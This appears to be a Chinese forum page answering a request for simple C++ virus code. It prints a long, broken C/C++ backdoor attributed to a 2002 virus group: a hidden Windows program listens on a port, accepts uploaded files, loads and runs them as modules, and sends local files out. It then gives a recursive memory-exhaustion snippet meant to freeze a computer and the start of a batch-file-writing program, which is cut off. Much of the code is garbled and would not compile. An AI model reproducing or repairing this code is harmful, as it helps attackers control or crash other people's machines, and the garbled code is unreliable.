比较简单的C++病毒代码 求简单计算机病毒的程序（C/C++）
\u6c42C++\u75c5\u6bd2\u4ee3\u7801/*
\u5206\u5e03\u5f0f\u75c5\u6bd2\u534f\u8bae\u7684C/C++\u63cf\u8ff0\u4ee3\u7801
Coded by Vxk in CVC
CopyRight® 2001-2002
2002.10.18..night
*/
#include
#include
#include
#include
#include
#include
typedef struct CONNINST
{
SOCKET socket; /* \u672c\u5730Socket\u53f7 */
unsigned short clientPort; /* \u5ba2\u6237\u7aef\u7aef\u53e3 */
struct in_addr clientIP; /* \u5ba2\u6237\u7aefIP\u5730\u5740 */
time_t beginTime; /* \u8fde\u63a5\u5efa\u7acb\u65f6\u95f4 - \u9884\u7559 */
time_t updateTime; /* \u6700\u540e\u66f4\u65b0\u65f6\u95f4 - \u9884\u7559 */
WORD lastestSequenceNumber; /* \u6700\u65b0\u5305\u5e8f\u53f7 */
unsigned short key; /* \u5bc6\u94a5 - \u9884\u7559*/
unsigned short cmdLen; /* \u7ed3\u679c\u5806\u957f\u5ea6 */
char *pCmd; /* \u547d\u4ee4\u5806 */
unsigned short resultLen; /* \u7ed3\u679c\u5806\u957f\u5ea6 */
char *pResult; /* \u7ed3\u679c\u5806 */
struct CONNINST* next; /* \u4e0b\u4e00\u4e2a\u8bf7\u6c42\u5b9e\u4f8b\u7684\u5730\u5740 */
}CONNINST, *pCONNINST;
typedef struct Maillist
{
String Address;
String Name;
Struct Maillist *pNext;
}Maillist,*pMaillist;
typedef struct Moudlelist
{
String MoudleName;
String MoudleFileName;
String MoudleGuid;
String UseFor;
String MoudleAuther;
Struct Moudlelist *pNext;
}Moudlelist,*pMoudlelist;
typedef struct FileUpData
{
struct in_addr clientIP;
DWORD port;
DWORD SAMGuid;
String FileName;
lvoid cmd;
}FileUpData,*pFileUpData;
typedef struct DVPPak
{
String SAMCommand;
String Guid;
String Auther;
lvoid Cmd;
pMaillist *pMail;
pMoudlelist *pMoudle;
String Versionofme;
pmyPCinfo *pcinfo;
}DVPPak, *pDVPPak;
HINSTANCE hInst; /* \u5f53\u524d\u5b9e\u4f8b\u53e5\u67c4 */
HWND hWndMain; /* \u4e3b\u7a97\u53e3\u53e5\u67c4 */
SOCKET listenSocket; /* \u76d1\u542c\u5957\u63a5\u53e3 */
pCONNINST pConnInstHead;
pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);
pCONNINST getConnInst(SOCKET);
void OnWrite(SOCKET socket);
int netHalt(void);
void delConnInst(pCONNINST);
Void DvpExpCmd(Socket s);
void delAllConnInst(void);
void RecvFileThreadProc(pFileUpData *plm);
void SendFileThreadProc(pFileUpData *plm);
int uiStartup(HINSTANCE hInstance, int nCmdShow);
LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);
int netStartup(void);
void OnAccept(SOCKET socket);
void OnClose(SOCKET socket);
void OnRead(SOCKET socket);
void sendResult(SOCKET socket);
int netStartup(void)
{
unsigned short wVersionRequested=MAKEWORD(1,1);
WSADATA wsaData;
SOCKADDR_IN saServer;
DWORD dwAddrStrLen;
char szAddress[128];
int nRet;
/* \u521d\u59cb\u5316WinSock */
if(WSAStartup(wVersionRequested, &wsaData)!=0)
{
//("Dvp \u9519\u8bef :: \u7f51\u7edc\u534f\u8bae\u542f\u52a8\u5931\u8d25,\u8bf7\u91cd\u65b0\u542f\u52a8\u8ba1\u7b97\u673a.");
}
/* \u68c0\u67e5Winsock\u7248\u672c */
if(wsaData.wVersion != wVersionRequested)
{
//("Dvp \u9519\u8bef :: \u7f51\u7edc\u534f\u8bae\u7248\u672c\u9519\u8bef,\u8bf7\u5347\u7ea7Winsock.");
}
/* \u521b\u5efa\u6d41\u5f0f\u5957\u63a5\u53e3 */
listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSocket==INVALID_SOCKET)
{
//("ERROR :: Can not create steam socket.");
return 0;
}
/* \u901a\u77e5\u5957\u63a5\u53e3\u6709\u8bf7\u6c42\u4e8b\u4ef6\u53d1\u751f */
nRet=WSAAsyncSelect(listenSocket,
hWndMain, //\u5728\u7f51\u7edc\u4e8b\u4ef6\u53d1\u751f\u65f6\u9700\u8981\u63a5\u6536\u6d88\u606f\u7684\u7a97\u53e3\u53e5\u67c4
UM_ASYNC, //\u5728\u7f51\u7edc\u4e8b\u4ef6\u53d1\u751f\u65f6\u8981\u63a5\u6536\u7684\u6d88\u606f
FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);
//\u53ea\u5728\u7a0b\u5f0f\u5f00\u59cb\u6267\u884c\u4e00\u6b21\uff0c\u4ee5\u540e\u53ea\u8981\u6709\u5957\u63a5\u53e3\u8bf7\u6c42\u5c31\u53d1\u9001\u6d88\u606f
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not initialize steam socket.");
closesocket(listenSocket);
return 0;
}
/* \u5730\u5740\u7ed3\u6784\u8bbe\u5b9a */
saServer.sin_port=htons(2525); //\u7aef\u53e3\u5728\u8fd9\u91cc\u54e6
saServer.sin_family=AF_INET;
saServer.sin_addr.s_addr=INADDR_ANY;
/* \u5c06\u4e00\u672c\u5730\u5730\u57403872\u4e0e\u5957\u63a5\u53e3listenSocket\u6346\u7ed1 */
nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)
{
//("ERROR :: Can not bind socket to local port 1936.");
//("HINT :: Dvp Kernel Server can only run in one thread.");
closesocket(listenSocket);
return 0;
}
/* \u8ba9\u5957\u63a5\u53e3\u5f00\u59cb\u76d1\u542c */
nRet = listen(listenSocket, SOMAXCONN);
if (nRet == SOCKET_ERROR)
{
//("ERROR :: Can not listen.");
closesocket(listenSocket);
return 0;
}
dwAddrStrLen = sizeof(szAddress);
GetLocalAddress(szAddress, &dwAddrStrLen);
return 1;
}
/* Unknown how */
int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)
{
struct in_addr *pinAddr;
LPHOSTENT lpHostEnt;
int nRet;
int nLen;
// Get our local name
nRet = gethostname(lpStr, *lpdwStrLen);
if(nRet==SOCKET_ERROR)
{
lpStr[0]='\0';
return SOCKET_ERROR;
}
// "Lookup" the local name
lpHostEnt=gethostbyname(lpStr);
if(lpHostEnt==NULL)
{
lpStr[0] = '\0';
return SOCKET_ERROR;
}
// format first address in the list
pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);
nLen=strlen(inet_ntoa(*pinAddr));
if((DWORD)nLen>*lpdwStrLen)
{
*lpdwStrLen=nLen;
WSASetLastError(WSAEINVAL);
return SOCKET_ERROR;
}
*lpdwStrLen = nLen;
strcpy(lpStr, inet_ntoa(*pinAddr));
return 0;
}
int uiStartup(HINSTANCE hInstance, int nCmdShow)
{
WNDCLASS DvpWindow;
HANDLE hObject;
/* \u521b\u5efa\u5b9e\u4f8b */
hInst=hInstance;
/* \u5224\u65ad\u662f\u5426\u5df2\u7ecf\u8fd0\u884c */
hObject=CreateMutex(NULL,FALSE,"DvpC");
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
PostQuitMessage(0);
return 0;
}
/* \u521b\u5efa\u7a97\u53e3 */
DvpWindow.style=0;//\u6307\u5b9a\u7c7b\u7684\u98ce\u683c
DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//\u7a97\u53e3\u8fc7\u7a0b\u7684\u8fdc\u6307\u9488
DvpWindow.cbClsExtra=0;//\u7a97\u53e3\u7ed3\u6784\u989d\u5916\u5b57\u8282\u6570
DvpWindow.cbWndExtra=0;//\u7a97\u53e3\u5b9e\u4f8b\u989d\u5916\u5b57\u8282\u6570
DvpWindow.hInstance=hInstance;//\u7a97\u53e3\u8fc7\u7a0b\u6240\u5728\u7684\u5b9e\u4f8b
DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//\u8c03\u7528\u6807\u8bc6\u7c7b\u7684\u56fe\u6807
DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//\u8c03\u7528\u6807\u8bc6\u7c7b\u7684\u5149\u6807
DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//\u6807\u8bc6\u80cc\u666f\u7c7b\u7684\u753b\u5237
DvpWindow.lpszMenuName=NULL;//\u6307\u5411\u6807\u8bc6\u7c7b\u83dc\u5355\u8d44\u6e90\u7684\u5b57\u7b26\u4e32\uff0c\u4ee5\u7a7a\u5b57\u7b26\u7ed3\u675f
DvpWindow.lpszClassName="DVPSample";//\u6807\u8bc6\u672c\u7c7b\u7684\u540d\u79f0
RegisterClass(&DvpWindow);//\u6ce8\u518c\u7a97\u53e3
hWndMain=CreateWindow("DVPSample",
"DVPSample",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
if(!hWndMain) return 0;
ShowWindow(hWndMain,SW_HIDE);//\u663e\u793a\u7a97\u53e3
UpdateWindow(hWndMain);//\u66f4\u65b0\u7a97\u53e3
return 1;
}
//\u5904\u7406\u7a97\u53e3\u6d88\u606f
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
switch(message)//\u5f00\u59cb\u5904\u7406\u6d88\u606f
{
/* User Interface Message */
case WM_CLOSE:
return(DefWindowProc(hWnd,message,wParam,lParam));
break;
case WM_DESTROY:
deleteSystrayIcon();
PostQuitMessage(0);
break;
case WM_SIZE:
delAllConnInst();
break;
/* Network Message */
case UM_ASYNC:
switch(WSAGETSELECTEVENT(lParam))
{
case FD_ACCEPT:
OnAccept((SOCKET)wParam);
break;
case FD_READ:
OnRead((SOCKET)wParam);
break;
case FD_WRITE:
OnWrite((SOCKET)wParam);
break;
case FD_CLOSE:
OnClose((SOCKET)wParam);
break;
}
break;
default:
return(DefWindowProc(hWnd,message,wParam,lParam));//\u9ed8\u8ba4\u7a97\u53e3\u8fc7\u7a0b\u7684\u6d88\u606f\u5904\u7406
}
return(0);
}
pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)
{
/* \u5206\u914d\u4e00\u5757\u65b0\u7684\u8fde\u63a5\u5b9e\u4f8b */
pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));
/* \u6ca1\u6709\u5185\u5b58\u4e86 */
if(newConnInst==NULL) return NULL;
/* \u5206\u914d\u4e00\u5757\u65b0\u7684SOCKADDR\u5b9e\u4f8b */
// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);
// newConnInst->sockAddr=malloc(nAddrLen);
/* \u6ca1\u6709\u5185\u5b58\u4e86 */
// if(newConnInst->lpSockAddr==NULL)
// {
// free(newConnInst);
// return NULL;
// }
//\u88c5\u586b\u65b0\u7684\u8bf7\u6c42\u5305
newConnInst->socket=socket;
newConnInst->clientPort=port;
newConnInst->clientIP=ip;
newConnInst->pCmd=NULL;
newConnInst->pResult=NULL;
newConnInst->cmdLen=0;
newConnInst->resultLen=0;
newConnInst->beginTime=time(NULL);
newConnInst->updateTime=newConnInst->beginTime;
newConnInst->lastestSequenceNumber=0;
newConnInst->next=NULL;
//\u5982\u679c\u8bf7\u6c42\u94fe\u8868\u662f\u7a7a\u7684
if(pConnInstHead==NULL)
{
//\u5c06\u8fd9\u4e2a\u8bf7\u6c42\u4f5c\u4e3a\u94fe\u8868\u5934\uff0c\u653e\u5230pConnInstHead
pConnInstHead=newConnInst;
}
else
{
pCONNINST tempConn=pConnInstHead;
//\u8d70\u5230\u94fe\u8868\u5c3e
while(tempConn->next) tempConn=tempConn->next;
//\u8ffd\u52a0\u65b0\u5305\u5230\u94fe\u8868\u5c3e
tempConn->next=newConnInst;
}
//\u8fd4\u56de\u88c5\u586b\u597d\u7684\u5305\u7684\u6307\u9488
return newConnInst;
}
pCONNINST getConnInst(SOCKET socket)
{
/* \u904d\u5386\u94fe\u8868\uff0c\u5bfb\u627e\u5957\u63a5\u53e3 */
pCONNINST tempConn=pConnInstHead;
while(tempConn!=NULL)
{
if(tempConn->socket==socket) break;
tempConn=tempConn->next;
}
/*\u82e5\u6ca1\u6709\uff0c\u8fd4\u56deNULL */
return(tempConn);
}
void delConnInst(pCONNINST pConnInstToDel)
{
/* \u5982\u679c\u8981\u5220\u9664\u7684\u662f\u94fe\u8868\u5934 */
if(pConnInstToDel==pConnInstHead)
{
/* pConnInstHead->next \u6210\u4e3a\u5934 */
pConnInstHead=pConnInstHead->next;
/* \u5bf9\u94fe\u8868\u5934\u7684free()\u5728\u6700\u540e\u8fdb\u884c */
}
else
{
pCONNINST tempConn=pConnInstHead;
/* \u4ece\u94fe\u8868\u5934\u5f00\u59cb \u5230NULL\u4e3a\u6b62 \u6bcf\u6b21\u6307\u5411\u4e0b\u4e00\u4e2a*/
while(tempConn!=NULL)
{
/* \u82e5\u5f53\u524d\u7684\u4e0b\u4e00\u4e2a\u662f\u8981\u88ab\u5220\u9664\u7684 */
if (tempConn->next==pConnInstToDel)
{
/* \u5f53\u524d\u7684\u4e0b\u4e00\u4e2a\u53d8\u6210\u4e0b\u4e00\u4e2a\u7684(\u8981\u88ab\u5220\u9664\u7684)\u4e0b\u4e00\u4e2a */
tempConn->next=pConnInstToDel->next;
break;
}
}
}
/* \u91ca\u653epConnInstToDel\u5360\u7528\u7684\u5185\u5b58 */
free(pConnInstToDel->pCmd);
free(pConnInstToDel->pResult);
free(pConnInstToDel);
return;
}
void delAllConnInst(void)
{
pCONNINST tempConn=pConnInstHead;
pCONNINST tempConn2;
/* \u904d\u5386\u94fe\u8868\uff0c\u4f9d\u6b21\u91ca\u653e\u5185\u5b58 */
/* \u82e5\u5b58\u5728tempConn\u5219\u7ee7\u7eedfor */
while(tempConn!=NULL)
{
tempConn2=tempConn->next;
// free(tempConn->lpSockAddr);
// free(tempConn->pResultBuf);
free(tempConn->pCmd);
free(tempConn->pResult);
free(tempConn);
tempConn=tempConn2;
}
pConnInstHead=NULL;
return;
}
void OnAccept(SOCKET socket)
{
SOCKADDR_IN sockAddrIn;
pCONNINST connInst=NULL;
SOCKET peerSocket;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
//\u8ba9\u5b83\u4e5f\u53ef\u4ee5\u5728\u8bfb\u5199\u6216\u5173\u95ed\u7684\u65f6\u5019\u5411\u7a97\u53e3\u53d1\u9001\u6d88\u606f
WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);
if(peerSocket==SOCKET_ERROR)
{
//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
//\u5c06\u8fd9\u5df2\u8fde\u63a5\u7684\u5957\u63a5\u53e3\u653e\u5230\u94fe\u8868\u91cc
connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);
if (connInst==NULL)
{
//\u5185\u5b58\u6ee1\u4e86
//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));
closesocket(peerSocket);
return;
}
//("A new request from: %s is accepted on socket %d.",
inet_ntoa(sockAddrIn.sin_addr), peerSocket);
return;
}
void OnClose(SOCKET socket)
{
pCONNINST connInst;
// \u68c0\u67e5\u662f\u5426\u5df2\u7ecf\u5220\u9664\u4e86\u8fd9\u4e2a\u5957\u63a5\u53e3
connInst=getConnInst(socket);
if (connInst==NULL) return;
// It is still in stock list
// The client must have to reset the connection.
// Clean up.
//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
}
/* \u53ef\u4ee5\u8bfb\u53d6\u6570\u636e\u4e86 */
void OnRead(SOCKET socket)
{
pCONNINST connInst;
int bytesReceive;
char* pNewCmd=NULL;
/* \u67e5\u627e\u5bf9\u5e94\u7684\u8fde\u63a5\u5b9e\u4f8b */
connInst=getConnInst(socket);
/* \u5982\u679c\u627e\u4e0d\u5230\u8fde\u63a5\u5b9e\u4f8b, \u8bfb\u5149\u7f13\u51b2\u533a, \u7136\u540eByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to receive (OnREAD), get some noise - DEBUG");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* \u5426\u5219\u5c06\u6240\u6709\u6570\u636e\u8bfb\u5165\u547d\u4ee4\u5806 */
if(connInst->pCmd==NULL)
{
connInst->pCmd=(char*)malloc(64);
connInst->cmdLen=0;
if(connInst->pCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
pNewCmd=(char*)malloc(64);
if(pNewCmd==NULL)
{
//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
memset(pNewCmd, 0, 64);
bytesReceive=recv(socket, pNewCmd, 64, 0);
//("\u6536\u5230:%d\u5b57\u8282",bytesReceive);
if(bytesReceive==SOCKET_ERROR)
{
//\u64cd\u4f5c\u6b64\u65f6\u7531\u4e8eWindows Sockets\u5b9e\u73b0\u7684\u8d44\u6e90\u6216\u5176\u5b83\u9650\u5236\u7684\u5236\u7ea6\u800c\u65e0\u6cd5\u8c03\u5ea6
if(WSAGetLastError()==WSAEWOULDBLOCK) return;
//("recv() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
/* \u6709\u7684\u65f6\u5019, OnRead\u6d88\u606f\u662f\u5047\u7684, \u6536\u5230\u7684\u5b57\u8282\u6570\u662f-1, \u8981\u5ffd\u7565\u8fd9\u79cd\u60c5\u51b5*/
if(bytesReceive>0)
{
connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);
memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);
connInst->cmdLen+=bytesReceive;
free(pNewCmd);
DvpExpCmd(socket);
}
else
{
free(pNewCmd);
}
return;
}
Void DvpExpCmd(Socket s)
{
pCONNINST connInst=getConnInst(s);
char *pThisCmd=NULL; /* \u4ece\u547d\u4ee4\u5806\u91cc\u9762\u8bfb\u53d6\u7b2c\u4e00\u4e2a\u547d\u4ee4\u5305, \u8fd9\u4e2a\u7528\u6765\u4fdd\u5b58\u547d\u4ee4\u5305\u7684\u5730\u5740 */
char *pSwap=NULL; /* \u6e05\u9664\u547d\u4ee4\u5806\u65e7\u547d\u4ee4\u4ea4\u6362\u7528\u7684\u6307\u9488 */
if(pThisCmd==NULL)
{
//("DEBUG - \u65e0\u6cd5\u5b9a\u4e49\u547d\u4ee4\u5305\u8d77\u70b9, \u51fd\u6570\u8fd4\u56de, \u7b49\u5f85\u547d\u4ee4.");
return;
}
if(pThisCmd > connInst->pCmd)
{
/*
\u5982\u679c\u524d\u9762\u6709\u6b8b\u4f59\u6570\u636e, \u90a3\u4e48\u5c31\u7acb\u523b\u6e05\u9664\u6b8b\u4f59\u6570\u636e
\u8fd9\u79cd\u60c5\u51b5\u9047\u5230\u7684\u4e0d\u4f1a\u591a
*/
//("\u5904\u7406\u6b8b\u4f59\u6570\u636e");
pSwap=connInst->pCmd;
connInst->pCmd=strdup(pThisCmd);
connInst->cmdLen-=(pThisCmd-connInst->pCmd);
free(pSwap);
/* \u7ee7\u7eed */
}
LVoid pak;
while (*pThisCmd!=Null)
{
pak+=*pThisCmd;
pThisCmd+=sizeof(char);
}
pDVPPak *myDvp=*(DVPPak*)pak;
if(myDvp->SAMCommand=='UPData')
{/*\u5bf9\u65b9\u4f20\u6587\u4ef6\u7ed9\u6211\u4eec\uff01\uff01*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
DWORD dwThread;
if(*up!=Null){up->clientIP=pThisCmd->clientIP;
if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//\u6587\u4ef6\u63a5\u53d7\u7ebf\u7a0b
{//something wrong with Recv... }else
{ if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//\u5904\u7406\u6743\u9650,\u81ea\u5df1\u53d1\u6325\u5427\u3002\u3002\u3002
{ int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );
MoudleStart(Up->Cmd);//\u5f00\u59cb\u6267\u884c\uff01
}}
}
free(up);
}
if(myDvp->SAMCommand=='GetData')
{/*2002.10.19*/
/*\u5bf9\u65b9\u8981\u6211\u4eec\u7684\u6587\u4ef6*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
if(up!=Null){up->clientIP=pThisCmd->clientIP;
DWORD dwThread;
if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//\u6587\u4ef6\u4f20\u9001\u7ebf\u7a0b
{//something wrong with Recv... }
else{/*\u4f20\u8f93SamCmmand='UpData',cmd=(lvoid*)up\u7ed9\u5bf9\u65b9*/}}
free(up);
}
if(myDvp->SAMCommand==Null)
{
/*\u5904\u7406\u5bf9\u65b9\u53d1\u6765\u4fe1\u606f\u4e2d\u6709\u7528\u7684\u4fe1\u606f*/
/*\u5bf9\u4e8e\u6211\u4eec\u6765\u8bb2\uff0c\u8fd9\u4e2a\u95ee\u9898\u662f\u5e94\u8be5\u7531\u4e2a\u4eba\u5904\u7406\u7684*/
/*\u5bf9\u4e8e\u8fd9\u91cc\u6211\u4eec\u8fd8\u8981\u7ed9\u5bf9\u65b9\u8fd4\u56de\u4e00\u5305\u5373\u6211\u4eec\u7684\u4fe1\u606f*/
/*\u6b64\u5904\u9700\u8981\u53d1\u9001\u6d88\u606f\u5230\u5bf9\u65b9\uff0c\u6765\u83b7\u5f97\u5982\u6587\u4ef6\u4e4b\u7c7b\u7684\u4e1c\u897f*/
}
free(pThisCmd);
free(myDvp);
return -1;
}
void OnWrite(SOCKET socket)
{
pCONNINST connInst;
connInst=getConnInst(socket);
/* \u5982\u679c\u627e\u4e0d\u5230\u8fde\u63a5\u5b9e\u4f8b, \u8bfb\u5149\u7f13\u51b2\u533a, \u7136\u540eByeBye */
if(connInst==NULL)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to send, get some noise");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* \u5982\u679c\u8fde\u63a5\u5b9e\u4f8b\u6709\u9700\u8981\u53d1\u9001\u7684\u6570\u636e */
if(connInst->pResult!=NULL)
{
sendResult(socket);
}
return;
}
void sendResult(SOCKET socket)
{
pCONNINST connInst=getConnInst(socket);
int bytesSent;
bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);
if(bytesSent==SOCKET_ERROR)
{
if (WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("send() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;
}
}
if((unsigned int)bytesSentresultLen)//\u5982\u679c\u53d1\u9001\u7684\u5b57\u8282\u5c11\u4e8e\u7ed3\u679c\u5b57\u8282
{
char* temp;
connInst->resultLen=connInst->resultLen-bytesSent;
temp=(char*)malloc(connInst->resultLen);
memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);
free(connInst->pResult);
connInst->pResult=temp;
}
else //\u5982\u679c\u5168\u90e8\u53d1\u9001\u5b8c\u6bd5
{
free(connInst->pResult);
connInst->resultLen=0;
connInst->pResult=NULL;
}
}
int netHalt(void)
{
pCONNINST connTemp;
/* \u5173\u95ed\u76d1\u542c\u5957\u63a5\u53e3 */
closesocket(listenSocket);
/* \u5173\u95ed\u6240\u6709\u6b63\u5728\u8fde\u63a5\u7684\u5957\u63a5\u53e3 */
connTemp=pConnInstHead;
while(connTemp)
{
closesocket(connTemp->socket);
connTemp=connTemp->next;
}
/* \u6e05\u9664\u8bf7\u6c42\u5305\u94fe\u8868 */
delAllConnInst();
Beep(200,50);
WSACleanup();
return 1;
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
MSG msg;
/* User Interface Startup */
uiStartup(hInstance, nCmdShow);
/* Network Startup */
netStartup();
/*\u6211\u4eec\u5728\u4e0b\u9762\u5e94\u8be5\u505a\u4e9b\u4ec0\u4e48\uff1f\u641c\u7d22ip\u8fde\u63a5\u3002\u3002\u3002\u3002\u3002*/
/* \u8fdb\u5165\u6d88\u606f\u5faa\u73af */
while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
/* Network Halt*/
netHalt();
return 0;
}
void RecvFileThreadProc(pFileUpData *plm)
{
// Open target file
// Get remote address
int i,nPort;
char svAddress[256];
lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);
for(i=0;i<256;i++) {
if(svAddress==':') {
svAddress='\0';
nPort=atoi(&svAddress[i+1]);
break;
}
}
// Put into SOCKADDR_IN structure
SOCKADDR_IN saddr;
struct hostent *he;
DWORD dwIPAddr;
dwIPAddr=inet_addr(svAddress);
if(dwIPAddr==INADDR_NONE) {
he=gethostbyname(svAddress);
if(gethostbyname==NULL) {
free(plm);
return 1;
}
dwIPAddr=*(DWORD *)he->h_addr_list[0];
}
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwIPAddr;
// Create socket
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s==INVALID_SOCKET) {
free(plm);
return 1;
}
// Connect to remote port
if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(sv);
free(plm);
return 1;
}
// Nonblocking mode
DWORD dwBlock=1;
ioctlsocket(sv, FIONBIO, &dwBlock);
HANDLE hFile;
hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=NULL) {
int nBytes;
DWORD dwCount;
char svBuffer[1024];
do {
// Give up time
Sleep(20);
nBytes=recv(sv,svBuffer,1024,0);
if(nBytes>0) {
WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);
}
} while(nBytes>0);
CloseHandle(hFile);
}
closesocket(sv);
return 0;
}
void SendFileThreadProc(pFileUpData *plm)
{
SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sv==INVALID_SOCKET) {
free(plm);
return -2;
}
// Bind to desired port
SOCKADDR_IN saddr;
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;
if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {
closesocket(s);
free(pptp);
free(ppi);
return -1;
}
listen(sv,MAX_CONNECTIONS);
// Nonblocking mode
DWORD argp=TRUE;
ioctlsocket(sv,FIONBIO,&argp);
sleep(1000);
SOCKET psv;
int tempLength;
// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)
{
if(WSAGetLastError()!=WSAEWOULDBLOCK)
{
//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;
}
}
HANDLE hInFile;
hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hInFile==INVALID_HANDLE_value) {
//Couldn't open local file.
return -1;
}
char svBuffer[1024];
DWORD dwBytes;
do {
ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);
if(send(psv,svBuffer,dwBytes,0)<=0) break;
} while(dwBytes==1024);
closesocket(psv);
closesocket(sv);
CloseHandle(hInFile);
Return -1;
}
\u73b0\u5728\u8ba1\u7b97\u673a\u5185\u5b58\u5927\uff0c1\u697c\u7684\u7a0b\u5e8f\uff0c\u4e0d\u4e00\u5b9a\u80fd\u641e\u7684\u6b7b\u673a\u3002\u6539\u8fdb\u4e00\u4e0b\uff1a
void main()
{
while(1){ DoIt();}
}
void DoIt()
{
char *p;
for(int i=0;i<100000;i++)
{
p=new char[100000];
DoIt();
}
}
----------------------------
\u8ba1\u7b97\u673a\u75c5\u6bd2\uff1a\u5229\u7528\u8ba1\u7b97\u673a\u8f6f\u4ef6\u4e0e\u786c\u4ef6\u7684\u7f3a\u9677\uff0c\u7834\u574f\u8ba1\u7b97\u673a\u6570\u636e\u5e76\u5f71\u54cd\u8ba1\u7b97\u673a\u6b63\u5e38\u5de5\u4f5c\u7684\u4e00\u7ec4\u6307\u4ee4\u96c6\u6216\u7a0b\u5e8f\u4ee3\u7801 \u3002
\u767e\u5ea6\u767e\u79d1\u8bf4\u7684\uff0c\u4f60\u6ca1\u610f\u89c1\u4e86\u5427\uff0cO(\u2229_\u2229)O\u54c8\u54c8~
/*亲自验证，不到30秒电脑卡死！运行后做好关机准备*/
/*留下您的赞再拿走，谢谢*/
运行效果如图
/*源代码：*/
//////////////////////////////////////////////////
#include <Windows.h>
#include <iostream>
#include <fstream>
using namespace std;
int main()
{
char a[9] = "abc.bat";
ofstream file_out(a);
